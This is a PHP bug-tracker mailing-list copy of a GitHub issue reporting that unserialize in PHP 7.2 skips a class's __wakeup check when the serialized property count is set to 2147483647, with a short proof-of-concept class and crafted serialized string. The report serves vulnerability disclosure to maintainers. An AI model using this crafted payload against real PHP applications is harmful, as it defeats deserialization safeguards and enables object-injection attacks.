[php-src] Issue #8938: PHP7 __wakeup Bypass vulnerability
| From: | sharpleung | Date: | Wed, 06 Jul 2022 16:04:54 +0000 |
| Subject: | [php-src] Issue #8938: PHP7 __wakeup Bypass vulnerability | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-241869@lists.php.net to get a copy of this message | ||
Issue: https://github.com/php/php-src/issues/8938
Author: sharpleung
### Description
Date:2022-07-06
author: gqliang@Hillstone
In the test, it was found that the __wakeup bypass still exists in PHP7 and above. When the number
of attributes is greater than or equal to 2147483647, the Wakeup restriction will be bypassed
directly. Test example:
```php
<?php
class whu{
public $a;
function __destruct(){
echo "destruct start\n";
echo PHP_VERSION."\n";
}
function __wakeup(){
die();
}
}
unserialize('O:3:"whu":2147483647:{s:1:"a";N;}');
?>
```
### PHP Version
PHP 7.2.34
### Operating System
_No response_